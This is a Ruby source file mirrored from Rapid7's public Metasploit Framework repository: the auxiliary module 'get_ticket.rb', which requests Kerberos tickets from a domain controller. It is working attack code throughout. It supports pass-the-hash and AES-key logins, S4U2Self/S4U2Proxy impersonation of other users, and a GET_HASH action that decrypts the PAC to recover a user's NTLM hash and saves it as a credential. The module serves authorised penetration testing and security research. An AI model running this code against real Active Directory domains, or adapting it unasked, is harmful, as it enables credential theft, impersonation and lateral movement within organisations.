Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos
9
include Msf::Exploit::Remote::Kerberos::Client
10
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Kerberos TGT/TGS Ticket Requester',
17
'Description' => %q{
18
This module requests TGT/TGS Kerberos tickets from the KDC
19
},
20
'Author' => [
21
'Christophe De La Fuente', # Metasploit module
22
'Spencer McIntyre', # Metasploit module
23
# pkinit authors
24
'Will Schroeder', # original idea/research
25
'Lee Christensen', # original idea/research
26
'Oliver Lyak', # certipy implementation
27
'smashery' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'AKA' => ['getTGT', 'getST'],
32
'Stability' => [ CRASH_SAFE ],
33
'SideEffects' => [ ],
34
'Reliability' => [ ]
35
},
36
'Actions' => [
37
[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
38
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
39
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
40
],
41
'DefaultAction' => 'GET_TGT',
42
'AKA' => ['PKINIT']
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
49
OptString.new('USERNAME', [ false, 'The domain user' ]),
50
OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
51
OptPath.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
52
OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
53
OptString.new(
54
'NTHASH', [
55
false,
56
'The NT hash in hex string. Server must support RC4'
57
]
58
),
59
OptString.new(
60
'AES_KEY', [
61
false,
62
'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
63
]
64
),
65
OptString.new(
66
'SPN', [
67
false,
68
'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
69
],
70
conditions: %w[ACTION == GET_TGS]
71
),
72
OptString.new(
73
'IMPERSONATE', [
74
false,
75
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
76
],
77
conditions: %w[ACTION == GET_TGS]
78
),
79
OptPath.new(
80
'Krb5Ccname', [
81
false,
82
'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
83
],
84
conditions: %w[ACTION == GET_TGS]
85
),
86
]
87
)
88
89
deregister_options('KrbCacheMode')
90
end
91
92
def validate_options
93
if datastore['CERT_FILE'].present?
94
certificate = File.binread(datastore['CERT_FILE'])
95
begin
96
@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')
97
rescue OpenSSL::PKCS12::PKCS12Error => e
98
fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")
99
end
100
101
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
102
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
103
elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
104
fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
105
end
106
107
begin
108
@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
109
rescue ArgumentError => e
110
fail_with(Failure::BadConfig, e.message)
111
end
112
else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
113
@username = datastore['USERNAME']
114
fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?
115
116
@realm = datastore['DOMAIN']
117
fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
118
end
119
120
if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
121
fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
122
end
123
124
if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
125
fail_with(Failure::BadConfig,
126
'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
127
end
128
129
if action.name == 'GET_TGS' && datastore['SPN'].blank?
130
fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
131
end
132
133
if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
134
fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
135
end
136
137
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
138
fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
139
end
140
end
141
142
def run
143
validate_options
144
145
result = send("action_#{action.name.downcase}")
146
147
report_service(
148
host: rhost,
149
port: rport,
150
proto: 'tcp',
151
name: 'kerberos',
152
info: "Module: #{fullname}, KDC for domain #{@realm}"
153
)
154
155
result
156
rescue ::Rex::ConnectionError => e
157
elog('Connection error', error: e)
158
fail_with(Failure::Unreachable, e.message)
159
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
160
::EOFError => e
161
msg = e.to_s
162
if e.respond_to?(:error_code) &&
163
e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
164
msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
165
end
166
fail_with(Failure::Unknown, msg)
167
end
168
169
def init_authenticator(options = {})
170
options.merge!({
171
host: rhost,
172
realm: @realm,
173
username: @username,
174
pfx: @pfx,
175
framework: framework,
176
framework_module: self
177
})
178
options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
179
if datastore['NTHASH'].present?
180
options[:key] = [datastore['NTHASH']].pack('H*')
181
options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
182
end
183
if datastore['AES_KEY'].present?
184
options[:key] = [ datastore['AES_KEY'] ].pack('H*')
185
options[:offered_etypes] = if options[:key].size == 32
186
[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
187
else
188
[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
189
end
190
end
191
192
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
193
end
194
195
def action_get_tgt
196
print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")
197
198
# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
199
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
200
authenticator.request_tgt_only
201
end
202
203
def action_get_tgs
204
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
205
tgt_request_options = {}
206
if datastore['Krb5Ccname'].present?
207
tgt_request_options[:cache_file] = datastore['Krb5Ccname']
208
end
209
credential = authenticator.request_tgt_only(tgt_request_options)
210
211
if datastore['IMPERSONATE'].present?
212
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
213
214
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
215
name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
216
name_string: [@username]
217
)
218
auth_options = {
219
sname: sname,
220
impersonate: datastore['IMPERSONATE']
221
}
222
tgs_ticket, _tgs_auth = authenticator.s4u2self(
223
credential,
224
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
225
)
226
227
auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
228
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
229
name_string: datastore['SPN'].split('/')
230
)
231
auth_options[:tgs_ticket] = tgs_ticket
232
authenticator.s4u2proxy(credential, auth_options)
233
else
234
print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")
235
236
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
237
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
238
name_string: datastore['SPN'].split('/')
239
)
240
tgs_options = {
241
sname: sname,
242
ticket_storage: kerberos_ticket_storage(read: false)
243
}
244
245
authenticator.request_tgs_only(credential, tgs_options)
246
end
247
end
248
249
def action_get_hash
250
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
251
auth_context = authenticator.authenticate_via_kdc(options)
252
credential = auth_context[:credential]
253
254
print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")
255
256
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
257
type: credential.keyblock.enctype.value,
258
value: credential.keyblock.data.value
259
)
260
261
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
262
263
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
264
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
265
)
266
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
267
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
268
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
269
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
270
end
271
unless pac_info_buffer
272
print_error('NTLM hash not found in PAC')
273
return
274
end
275
276
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
277
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
278
print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")
279
280
report_ntlm(ntlm_hash)
281
ntlm_hash
282
end
283
284
def report_ntlm(hash)
285
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
286
service_data = {
287
address: rhost,
288
port: rport,
289
service_name: 'kerberos',
290
protocol: 'tcp',
291
workspace_id: myworkspace_id
292
}
293
credential_data = {
294
module_fullname: fullname,
295
origin_type: :service,
296
private_data: hash,
297
private_type: :ntlm_hash,
298
jtr_format: jtr_format,
299
username: @username,
300
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
301
realm_value: @realm
302
}.merge(service_data)
303
304
credential_core = create_credential(credential_data)
305
306
login_data = {
307
core: credential_core,
308
status: Metasploit::Model::Login::Status::UNTRIED
309
}.merge(service_data)
310
311
create_credential_login(login_data)
312
end
313
end
314
315